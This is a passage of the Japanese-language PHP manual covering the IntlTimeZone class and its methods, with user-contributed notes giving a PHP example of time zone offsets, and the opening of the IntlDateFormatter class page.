public static createDefault ( ) : IntlTimeZone
public static createEnumeration ( mixed $countryOrRawOffset = ? ) : IntlIterator
public static createTimeZone ( string $zoneId ) : IntlTimeZone
public static createTimeZoneIDEnumeration ( int $zoneType , string $region = ? , int $rawOffset = ? ) : IntlIterator|false
public static fromDateTimeZone ( DateTimeZone $zoneId ) : IntlTimeZone
public static getCanonicalID ( string $zoneId , bool &$isSystemID = ? ) : string
public getDisplayName ( bool $isDaylight = ? , int $style = ? , string $locale = ? ) : string
public getDSTSavings ( ) : int
public static getEquivalentID ( string $zoneId , int $index ) : string
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public static getGMT ( ) : IntlTimeZone
public getID ( ) : string
public static getIDForWindowsID ( string $timezone , string $region = ? ) : string|false
public getOffset ( float $date , bool $local , int &$rawOffset , int &$dstOffset ) : bool
public getRawOffset ( ) : int
public static getRegion ( string $zoneId ) : string|false
public static getTZDataVersion ( ) : string
public static getUnknown ( ) : IntlTimeZone
public static getWindowsID ( string $timezone ) : string|false
public hasSameRules ( IntlTimeZone $otherTimeZone ) : bool
public toDateTimeZone ( ) : DateTimeZone
public useDaylightTime ( ) : bool
}

定義済み定数

IntlTimeZone::DISPLAY_SHORT

IntlTimeZone::DISPLAY_LONG

目次

  • IntlTimeZone::countEquivalentIDs — 指定した ID を含む等価グループの中にある ID の数を取得する
  • IntlTimeZone::createDefault — このホストのデフォルトタイムゾーンの新しいコピーを作る
  • IntlTimeZone::createEnumeration — 指定した国あるいはオフセットに関連するタイムゾーン ID の一覧を取得する
  • IntlTimeZone::createTimeZone — 指定した ID のタイムゾーンオブジェクトを作る
  • IntlTimeZone::createTimeZoneIDEnumeration — Get an enumeration over system time zone IDs with the given filter conditions
  • IntlTimeZone::fromDateTimeZone — DateTimeZone からタイムゾーンオブジェクトを作る
  • IntlTimeZone::getCanonicalID — 指定したタイムゾーン ID の、正式なシステムタイムゾーン ID あるいは正規化したカスタムタイムゾーン ID を取得する
  • IntlTimeZone::getDisplayName — このタイムゾーンの、ユーザー向けに表示する名前を取得する
  • IntlTimeZone::getDSTSavings — ローカルの標準時刻からローカルの実測時刻を得るために加算する時間を取得する
  • IntlTimeZone::getEquivalentID — 指定した ID を含む等価グループの ID を取得する
  • IntlTimeZone::getErrorCode — 直近のエラーコードを取得する
  • IntlTimeZone::getErrorMessage — 直近のエラーメッセージを取得する
  • IntlTimeZone::getGMT — GMT (UTC) タイムゾーンを作る
  • IntlTimeZone::getID — タイムゾーン ID を取得する
  • IntlTimeZone::getIDForWindowsID — Translate a Windows timezone into a system timezone
  • IntlTimeZone::getOffset — 指定した時刻の、GMT へのオフセットを取得する
  • IntlTimeZone::getRawOffset — (夏時間を考慮せずに) GMT へのオフセットを取得する
  • IntlTimeZone::getRegion — Get the region code associated with the given system time zone ID
  • IntlTimeZone::getTZDataVersion — ICU が使っているタイムゾーンデータのバージョンを取得する
  • IntlTimeZone::getUnknown — Get the "unknown" time zone
  • IntlTimeZone::getWindowsID — Translate a system timezone into a Windows timezone
  • IntlTimeZone::hasSameRules — このタイムゾーンが別のタイムゾーンと同じルールおよびオフセットを使っているかどうかを調べる
  • IntlTimeZone::toDateTimeZone — DateTimeZone オブジェクトに変換する
  • IntlTimeZone::useDaylightTime — このタイムゾーンが夏時間を採用しているかどうかを調べる

User Contributed Notes

Anonymous 13-Jul-2018 08:40
Currently there is no documentation available for IntlTimeZone::parse(), so it took some while to figure out a working example:

<?php
// Example for 32-bit PHP 7.0.30 with Intl version 1.1, ICU version 56.1
// To get the offset of a date including daylight saving time, getRawOffset() is
// not sufficient, getOffset() is needed. And a date is needed to take history
// in to account.

\Locale::setDefault('nl-NL');
$date = '25-03-2018 12:34:56.123456 CEST';  // 3rd of Februari
$timezone = \IntlTimeZone::createDefault();  // = CEST = GMT +02:00
print 'Time zone: ' . $timezone->getDisplayName() . PHP_EOL;
print 'DST: ' . ($timezone->useDaylightTime() ? 'DOES' : 'DOES NOT')
  . ' happen to this timezone' . PHP_EOL;
print 'Possible DST difference (usec): ' . $timezone->getDSTSavings() . PHP_EOL;

$formatter = new \IntlDateFormatter(
  \Locale::getDefault(),
  \IntlDateFormatter::MEDIUM,
  \IntlDateFormatter::MEDIUM,
  $timezone
);
$timestamp = $formatter->parse($date);
if (FALSE === $timestamp) {
  throw new \Exception('Can not parse date');
}
elseif (is_float($timestamp)) {
  throw new \Exception('Y2K38 bug @ 32 bit, please use 64 bit');
}
print 'Date parsed by IntlFormatter::parse(): ' . date('c', $timestamp)
  . PHP_EOL;

$cal = \IntlCalendar::createInstance();
$cal->setTimeZone($timezone);
$cal->setLenient(FALSE);
// set UNIX timestamp offset (1970-01-01 00:00:00.000000) and add the timestamp
$cal->set(1970, 0, 1, 0, 0, 0);
$cal->set(\IntlCalendar::FIELD_MILLISECOND, 0); // note: msec, not usec
$cal->add(\IntlCalendar::FIELD_SECOND, $timestamp); // note: no milliseconds
$cal->add(\IntlCalendar::FIELD_MILLISECOND, 124);  // hardcode for simplicity

header('Content-type: text/plain');
print 'Date constructed with IntlCalendar: ' . $formatter->format($cal)
  . PHP_EOL;
print 'Raw offset by getRawOffset(): ' . $timezone->getRawOffset() . PHP_EOL;

/**
 * Function IntlTimeZone::getOffset()
 * @link http://icu-project.org/apiref/icu4c/classicu_1_1TimeZone.html#afcbc1c48bf0b453b0123c4cb75d20e96
 * @param float $date
 *   moment in time for which to return offsets, in units of milliseconds from
 *   January 1, 1970 0:00 GMT, either GMT time or local wall time, depending on
 *   `local'.
 * @param bool $local
 *   if true, `date' is local wall time; otherwise it is in GMT time.
 * @param int &$rawOffset
 *   output parameter to receive the raw offset, that is, the offset not
 *   including DST adjustments
 * @param int &$dstOffset
 *   output parameter to receive the DST offset, that is, the offset to be added
 *   to `rawOffset' to obtain the total offset between local and GMT time. If
 *   DST is not in effect, this value is zero; otherwise it is a positive value,
 *   typically one hour.
 */

$rawOffset = NULL;
$dstOffset = NULL;
$timestamp *= 1000.0; // convert unix timestamp from secs to msecs
$timezone->getOffset($timestamp, $local = FALSE, $rawOffset, $dstOffset);
print 'Output of getOffset():' . PHP_EOL . json_encode([
  'rawOffset' => $rawOffset,
  'dstOffset' => $dstOffset
], JSON_PRETTY_PRINT) . PHP_EOL;
?>


指定した ID を含む等価グループの中にある ID の数を取得する

  • ≪ IntlTimeZone
  • IntlTimeZone::createDefault ≫
  • PHP Manual
  • IntlTimeZone
  • 指定した ID を含む等価グループの中にある ID の数を取得する

IntlTimeZone::countEquivalentIDs

intltz_count_equivalent_ids

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::countEquivalentIDs -- intltz_count_equivalent_ids — 指定した ID を含む等価グループの中にある ID の数を取得する

説明

オブジェクト指向型 (method):

public static IntlTimeZone::countEquivalentIDs ( string $zoneId ) : int

手続き型:

intltz_count_equivalent_ids ( string $zoneId ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneId

返り値

User Contributed Notes

There are no user contributed notes for this page.


このホストのデフォルトタイムゾーンの新しいコピーを作る

  • ≪ IntlTimeZone::countEquivalentIDs
  • IntlTimeZone::createEnumeration ≫
  • PHP Manual
  • IntlTimeZone
  • このホストのデフォルトタイムゾーンの新しいコピーを作る

IntlTimeZone::createDefault

intltz_create_default

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::createDefault -- intltz_create_default — このホストのデフォルトタイムゾーンの新しいコピーを作る

説明

オブジェクト指向型 (method):

public static IntlTimeZone::createDefault ( ) : IntlTimeZone

手続き型:

intltz_create_default ( ) : IntlTimeZone

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


指定した国あるいはオフセットに関連するタイムゾーン ID の一覧を取得する

  • ≪ IntlTimeZone::createDefault
  • IntlTimeZone::createTimeZone ≫
  • PHP Manual
  • IntlTimeZone
  • 指定した国あるいはオフセットに関連するタイムゾーン ID の一覧を取得する

IntlTimeZone::createEnumeration

intltz_create_enumeration

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::createEnumeration -- intltz_create_enumeration — 指定した国あるいはオフセットに関連するタイムゾーン ID の一覧を取得する

説明

オブジェクト指向型 (method):

public static IntlTimeZone::createEnumeration ( mixed $countryOrRawOffset = ? ) : IntlIterator

手続き型:

intltz_create_enumeration ( mixed $countryOrRawOffset = ? ) : IntlIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

countryOrRawOffset

返り値

User Contributed Notes

There are no user contributed notes for this page.


指定した ID のタイムゾーンオブジェクトを作る

  • ≪ IntlTimeZone::createEnumeration
  • IntlTimeZone::createTimeZoneIDEnumeration ≫
  • PHP Manual
  • IntlTimeZone
  • 指定した ID のタイムゾーンオブジェクトを作る

IntlTimeZone::createTimeZone

intltz_create_time_zone

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::createTimeZone -- intltz_create_time_zone — 指定した ID のタイムゾーンオブジェクトを作る

説明

オブジェクト指向型 (method):

public static IntlTimeZone::createTimeZone ( string $zoneId ) : IntlTimeZone

手続き型:

intltz_create_time_zone ( string $zoneId ) : IntlTimeZone

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneId

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get an enumeration over system time zone IDs with the given filter conditions

  • ≪ IntlTimeZone::createTimeZone
  • IntlTimeZone::fromDateTimeZone ≫
  • PHP Manual
  • IntlTimeZone
  • Get an enumeration over system time zone IDs with the given filter conditions

IntlTimeZone::createTimeZoneIDEnumeration

intltz_create_time_zone_id_enumeration

(PHP 5 >= 5.5.0, PHP 7)

IntlTimeZone::createTimeZoneIDEnumeration -- intltz_create_time_zone_id_enumeration — Get an enumeration over system time zone IDs with the given filter conditions

説明

オブジェクト指向型 (method):

public static IntlTimeZone::createTimeZoneIDEnumeration ( int $zoneType , string $region = ? , int $rawOffset = ? ) : IntlIterator|false

手続き型:

intltz_create_time_zone_id_enumeration ( int $zoneType , string $region = ? , int $rawOffset = ? ) : IntlIterator|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneType

region

rawOffset

返り値

Returns IntlIterator失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


DateTimeZone からタイムゾーンオブジェクトを作る

  • ≪ IntlTimeZone::createTimeZoneIDEnumeration
  • IntlTimeZone::getCanonicalID ≫
  • PHP Manual
  • IntlTimeZone
  • DateTimeZone からタイムゾーンオブジェクトを作る

IntlTimeZone::fromDateTimeZone

intltz_from_date_time_zone

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::fromDateTimeZone -- intltz_from_date_time_zone — DateTimeZone からタイムゾーンオブジェクトを作る

説明

オブジェクト指向型 (method):

public static IntlTimeZone::fromDateTimeZone ( DateTimeZone $zoneId ) : IntlTimeZone

手続き型:

intltz_from_date_time_zone ( DateTimeZone $zoneId ) : IntlTimeZone

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneId

返り値

User Contributed Notes

There are no user contributed notes for this page.


指定したタイムゾーン ID の、正式なシステムタイムゾーン ID あるいは正規化したカスタムタイムゾーン ID を取得する

  • ≪ IntlTimeZone::fromDateTimeZone
  • IntlTimeZone::getDisplayName ≫
  • PHP Manual
  • IntlTimeZone
  • 指定したタイムゾーン ID の、正式なシステムタイムゾーン ID あるいは正規化したカスタムタイムゾーン ID を取得する

IntlTimeZone::getCanonicalID

intltz_get_canonical_id

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getCanonicalID -- intltz_get_canonical_id — 指定したタイムゾーン ID の、正式なシステムタイムゾーン ID あるいは正規化したカスタムタイムゾーン ID を取得する

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getCanonicalID ( string $zoneId , bool &$isSystemID = ? ) : string

手続き型:

intltz_get_canonical_id ( string $zoneId , bool &$isSystemID = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneId

isSystemID

返り値

User Contributed Notes

There are no user contributed notes for this page.


このタイムゾーンの、ユーザー向けに表示する名前を取得する

  • ≪ IntlTimeZone::getCanonicalID
  • IntlTimeZone::getDSTSavings ≫
  • PHP Manual
  • IntlTimeZone
  • このタイムゾーンの、ユーザー向けに表示する名前を取得する

IntlTimeZone::getDisplayName

intltz_get_display_name

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getDisplayName -- intltz_get_display_name — このタイムゾーンの、ユーザー向けに表示する名前を取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getDisplayName ( bool $isDaylight = ? , int $style = ? , string $locale = ? ) : string

手続き型:

intltz_get_display_name ( IntlTimeZone $timezone , bool $isDaylight = ? , int $style = ? , string $locale = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

isDaylight

style

locale

返り値

User Contributed Notes

There are no user contributed notes for this page.


ローカルの標準時刻からローカルの実測時刻を得るために加算する時間を取得する

  • ≪ IntlTimeZone::getDisplayName
  • IntlTimeZone::getEquivalentID ≫
  • PHP Manual
  • IntlTimeZone
  • ローカルの標準時刻からローカルの実測時刻を得るために加算する時間を取得する

IntlTimeZone::getDSTSavings

intltz_get_dst_savings

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getDSTSavings -- intltz_get_dst_savings — ローカルの標準時刻からローカルの実測時刻を得るために加算する時間を取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getDSTSavings ( ) : int

手続き型:

intltz_get_dst_savings ( IntlTimeZone $timezone ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


指定した ID を含む等価グループの ID を取得する

  • ≪ IntlTimeZone::getDSTSavings
  • IntlTimeZone::getErrorCode ≫
  • PHP Manual
  • IntlTimeZone
  • 指定した ID を含む等価グループの ID を取得する

IntlTimeZone::getEquivalentID

intltz_get_equivalent_id

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getEquivalentID -- intltz_get_equivalent_id — 指定した ID を含む等価グループの ID を取得する

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getEquivalentID ( string $zoneId , int $index ) : string

手続き型:

intltz_get_equivalent_id ( string $zoneId , int $index ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneId

index

返り値

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーコードを取得する

  • ≪ IntlTimeZone::getEquivalentID
  • IntlTimeZone::getErrorMessage ≫
  • PHP Manual
  • IntlTimeZone
  • 直近のエラーコードを取得する

IntlTimeZone::getErrorCode

intltz_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getErrorCode -- intltz_get_error_code — 直近のエラーコードを取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getErrorCode ( ) : int

手続き型:

intltz_get_error_code ( IntlTimeZone $timezone ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーメッセージを取得する

  • ≪ IntlTimeZone::getErrorCode
  • IntlTimeZone::getGMT ≫
  • PHP Manual
  • IntlTimeZone
  • 直近のエラーメッセージを取得する

IntlTimeZone::getErrorMessage

intltz_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getErrorMessage -- intltz_get_error_message — 直近のエラーメッセージを取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getErrorMessage ( ) : string

手続き型:

intltz_get_error_message ( IntlTimeZone $timezone ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


GMT (UTC) タイムゾーンを作る

  • ≪ IntlTimeZone::getErrorMessage
  • IntlTimeZone::getID ≫
  • PHP Manual
  • IntlTimeZone
  • GMT (UTC) タイムゾーンを作る

IntlTimeZone::getGMT

intltz_get_gmt

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getGMT -- intltz_get_gmt — GMT (UTC) タイムゾーンを作る

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getGMT ( ) : IntlTimeZone

手続き型:

intltz_get_gmt ( ) : IntlTimeZone

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


タイムゾーン ID を取得する

  • ≪ IntlTimeZone::getGMT
  • IntlTimeZone::getIDForWindowsID ≫
  • PHP Manual
  • IntlTimeZone
  • タイムゾーン ID を取得する

IntlTimeZone::getID

intltz_get_id

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getID -- intltz_get_id — タイムゾーン ID を取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getID ( ) : string

手続き型:

intltz_get_id ( IntlTimeZone $timezone ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Translate a Windows timezone into a system timezone

  • ≪ IntlTimeZone::getID
  • IntlTimeZone::getOffset ≫
  • PHP Manual
  • IntlTimeZone
  • Translate a Windows timezone into a system timezone

IntlTimeZone::getIDForWindowsID

intltz_get_id_for_windows_id

(PHP 7 >= 7.1.0)

IntlTimeZone::getIDForWindowsID -- intltz_get_id_for_windows_id — Translate a Windows timezone into a system timezone

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getIDForWindowsID ( string $timezone , string $region = ? ) : string|false

手続き型:

intltz_get_id_for_windows_id ( string $timezone , string $region = ? ) : string|false

Translates a Windows timezone (e.g. "Pacific Standard Time") into a system timezone (e.g. "America/Los_Angeles").

注意: This function requires ICU version ? 52.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

timezone

region

返り値

Returns the system timezone失敗した場合に false を返します.

参考

  • IntlTimeZone::getWindowsID() - Translate a system timezone into a Windows timezone

User Contributed Notes

There are no user contributed notes for this page.


指定した時刻の、GMT へのオフセットを取得する

  • ≪ IntlTimeZone::getIDForWindowsID
  • IntlTimeZone::getRawOffset ≫
  • PHP Manual
  • IntlTimeZone
  • 指定した時刻の、GMT へのオフセットを取得する

IntlTimeZone::getOffset

intltz_get_offset

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getOffset -- intltz_get_offset — 指定した時刻の、GMT へのオフセットを取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getOffset ( float $date , bool $local , int &$rawOffset , int &$dstOffset ) : bool

手続き型:

intltz_get_offset ( IntlTimeZone $timezone , float $date , bool $local , int &$rawOffset , int &$dstOffset ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

date

local

rawOffset

dstOffset

返り値

User Contributed Notes

Anonymous 13-Jul-2018 09:22
/**
 * Function IntlTimeZone::getOffset()
 * @link http://icu-project.org/apiref/icu4c/classicu_1_1TimeZone.html#afcbc1c48bf0b453b0123c4cb75d20e96
 * @param float $date
 *   moment in time for which to return offsets, in units of milliseconds from
 *   January 1, 1970 0:00 GMT, either GMT time or local wall time, depending on
 *   `local'.
 * @param bool $local
 *   if true, `date' is local wall time; otherwise it is in GMT time.
 * @param int &$rawOffset
 *   output parameter to receive the raw offset, that is, the offset not
 *   including DST adjustments
 * @param int &$dstOffset
 *   output parameter to receive the DST offset, that is, the offset to be added
 *   to `rawOffset' to obtain the total offset between local and GMT time. If
 *   DST is not in effect, this value is zero; otherwise it is a positive value,
 *   typically one hour.
 */


(夏時間を考慮せずに) GMT へのオフセットを取得する

  • ≪ IntlTimeZone::getOffset
  • IntlTimeZone::getRegion ≫
  • PHP Manual
  • IntlTimeZone
  • (夏時間を考慮せずに) GMT へのオフセットを取得する

IntlTimeZone::getRawOffset

intltz_get_raw_offset

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getRawOffset -- intltz_get_raw_offset — (夏時間を考慮せずに) GMT へのオフセットを取得する

説明

オブジェクト指向型 (method):

public IntlTimeZone::getRawOffset ( ) : int

手続き型:

intltz_get_raw_offset ( IntlTimeZone $timezone ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

Anonymous 12-Jul-2018 06:34
The return value is the difference, in milliseconds, between UTC and local time. Note that this means that the offset is positive if the local timezone is behind UTC and negative if it is ahead.


Get the region code associated with the given system time zone ID

  • ≪ IntlTimeZone::getRawOffset
  • IntlTimeZone::getTZDataVersion ≫
  • PHP Manual
  • IntlTimeZone
  • Get the region code associated with the given system time zone ID

IntlTimeZone::getRegion

intltz_get_region

(PHP 5 >= 5.5.0, PHP 7)

IntlTimeZone::getRegion -- intltz_get_region — Get the region code associated with the given system time zone ID

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getRegion ( string $zoneId ) : string|false

手続き型:

intltz_get_region ( string $zoneId ) : string|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

zoneId

返り値

Return region失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


ICU が使っているタイムゾーンデータのバージョンを取得する

  • ≪ IntlTimeZone::getRegion
  • IntlTimeZone::getUnknown ≫
  • PHP Manual
  • IntlTimeZone
  • ICU が使っているタイムゾーンデータのバージョンを取得する

IntlTimeZone::getTZDataVersion

intltz_get_tz_data_version

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::getTZDataVersion -- intltz_get_tz_data_version — ICU が使っているタイムゾーンデータのバージョンを取得する

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getTZDataVersion ( ) : string

手続き型:

intltz_get_tz_data_version ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the "unknown" time zone

  • ≪ IntlTimeZone::getTZDataVersion
  • IntlTimeZone::getWindowsID ≫
  • PHP Manual
  • IntlTimeZone
  • Get the "unknown" time zone

IntlTimeZone::getUnknown

intltz_get_unknown

(PHP 5 >= 5.5.0, PHP 7)

IntlTimeZone::getUnknown -- intltz_get_unknown — Get the "unknown" time zone

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getUnknown ( ) : IntlTimeZone

手続き型:

intltz_get_unknown ( ) : IntlTimeZone

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

Returns IntlTimeZone or null on failure.

User Contributed Notes

There are no user contributed notes for this page.


Translate a system timezone into a Windows timezone

  • ≪ IntlTimeZone::getUnknown
  • IntlTimeZone::hasSameRules ≫
  • PHP Manual
  • IntlTimeZone
  • Translate a system timezone into a Windows timezone

IntlTimeZone::getWindowsID

intltz_get_windows_id

(PHP 7 >= 7.1.0)

IntlTimeZone::getWindowsID -- intltz_get_windows_id — Translate a system timezone into a Windows timezone

説明

オブジェクト指向型 (method):

public static IntlTimeZone::getWindowsID ( string $timezone ) : string|false

手続き型:

intltz_get_windows_id ( string $timezone ) : string|false

Translates a system timezone (e.g. "America/Los_Angeles") into a Windows timezone (e.g. "Pacific Standard Time").

注意: This function requires ICU version ? 52.

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

timezone

返り値

Returns the Windows timezone失敗した場合に false を返します.

参考

  • IntlTimeZone::getIDForWindowsID() - Translate a Windows timezone into a system timezone

User Contributed Notes

There are no user contributed notes for this page.


このタイムゾーンが別のタイムゾーンと同じルールおよびオフセットを使っているかどうかを調べる

  • ≪ IntlTimeZone::getWindowsID
  • IntlTimeZone::toDateTimeZone ≫
  • PHP Manual
  • IntlTimeZone
  • このタイムゾーンが別のタイムゾーンと同じルールおよびオフセットを使っているかどうかを調べる

IntlTimeZone::hasSameRules

intltz_has_same_rules

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::hasSameRules -- intltz_has_same_rules — このタイムゾーンが別のタイムゾーンと同じルールおよびオフセットを使っているかどうかを調べる

説明

オブジェクト指向型 (method):

public IntlTimeZone::hasSameRules ( IntlTimeZone $otherTimeZone ) : bool

手続き型:

intltz_has_same_rules ( IntlTimeZone $timezone , IntlTimeZone $otherTimeZone ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

otherTimeZone

返り値

User Contributed Notes

There are no user contributed notes for this page.


DateTimeZone オブジェクトに変換する

  • ≪ IntlTimeZone::hasSameRules
  • IntlTimeZone::useDaylightTime ≫
  • PHP Manual
  • IntlTimeZone
  • DateTimeZone オブジェクトに変換する

IntlTimeZone::toDateTimeZone

intltz_to_date_time_zone

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::toDateTimeZone -- intltz_to_date_time_zone — DateTimeZone オブジェクトに変換する

説明

オブジェクト指向型 (method):

public IntlTimeZone::toDateTimeZone ( ) : DateTimeZone

手続き型:

intltz_to_date_time_zone ( IntlTimeZone $timezone ) : DateTimeZone

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


このタイムゾーンが夏時間を採用しているかどうかを調べる

  • ≪ IntlTimeZone::toDateTimeZone
  • IntlDateFormatter ≫
  • PHP Manual
  • IntlTimeZone
  • このタイムゾーンが夏時間を採用しているかどうかを調べる

IntlTimeZone::useDaylightTime

intltz_use_daylight_time

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

IntlTimeZone::useDaylightTime -- intltz_use_daylight_time — このタイムゾーンが夏時間を採用しているかどうかを調べる

説明

オブジェクト指向型 (method):

public IntlTimeZone::useDaylightTime ( ) : bool

手続き型:

intltz_use_daylight_time ( IntlTimeZone $timezone ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


IntlDateFormatter クラス

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

はじめに

Date Formatter は、パターン文字列や出来合いのパターンを使用して ロケールに依存する日付のフォーマット/パースを行う具象クラスです。

このクラスは ICU の日付フォーマット機能を表します。 これを使用すると、パターン文字列や出来合いのパターンを使用して 日付を各地域のフォーマットで表示したり、 文字列をパースして PHP の日付として扱ったりすることができます。

クラス概要

IntlDateFormatter {
/* メソッド */
public __construct ( string|null $locale , int $dateType , int $timeType , IntlTimeZone|DateTimeZone|string|null $timezone = null , IntlCalendar|int|null $calendar = null , string $pattern = "" )
public static create ( string|null $locale , int $dateType , int $timeType , IntlTimeZone|DateTimeZone|string|null $timezone = null , IntlCalendar|int|null $calendar = null , string $pattern = "" ) : IntlDateFormatter|null
public format ( IntlCalendar|DateTimeInterface|array|string|int|float $datetime ) : string|false
public static formatObject ( IntlCalendar|DateTime $datetime , array|int|string|null $format = null , string|null $locale = null ) : string|false
public getCalendar ( ) : int|false
public getDateType ( ) : int|false
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public getLocale ( int $type = ULOC_ACTUAL_LOCALE ) : string|false
public getPattern ( ) : string|false
public getTimeType ( ) : int|false
public getTimeZoneId ( ) : string|false
public getCalendarObject ( ) : IntlCalendar|false|null
public getTimeZone ( ) : IntlTimeZone|false
public isLenient ( ) : bool
public localtime ( string $string , int &$offset = null ) : array|false
public parse ( string $string , int &$offset = null ) : int|float|false
public setCalendar ( IntlCalendar|int|null $calendar ) : bool
public setLenient ( bool $lenient ) : void
public setPattern ( string $pattern ) : bool
public setTimeZone ( IntlTimeZone|DateTimeZone|string|null $timezone ) : bool|null
}

参考

  • » ICU Date formatter
  • » ICU Date formats

定義済み定数

これらの定数は、DateType や TimeType のコンストラクタでさまざまなフォーマットを指定するために使用します。

IntlDateFormatter::NONE (int)
この要素を含まない
IntlDateFormatter::FULL (int)
完全に指定した形式 (Tuesday, April 12, 1952 AD あるいは 3:30:42pm PST)
IntlDateFormatter::LONG (int)
長い形式 (January 12, 1952 あるいは 3:30:32pm)
IntlDateFormatter::MEDIUM (int)
中間の形式 (Jan 12, 1952)
IntlDateFormatter::SHORT (int)
不可欠なデータのみを扱う最も省略した形式 (12/13/52 あるいは 3:30pm)
IntlDateFormatter::RELATIVE_FULL (int)
IntlDateFormatter::FULL と同じですが、 昨日、今日、明日についてはそれぞれ、 yesterday, today, tomorrow になります。 PHP 8.0.0 以降で、dateType に限って利用可能です。
IntlDateFormatter::RELATIVE_LONG (int)
IntlDateFormatter::LONG と同じですが、 昨日、今日、明日についてはそれぞれ、 yesterday, today, tomorrow になります。 PHP 8.0.0 以降で、dateType に限って利用可能です。
IntlDateFormatter::RELATIVE_MEDIUM (int)
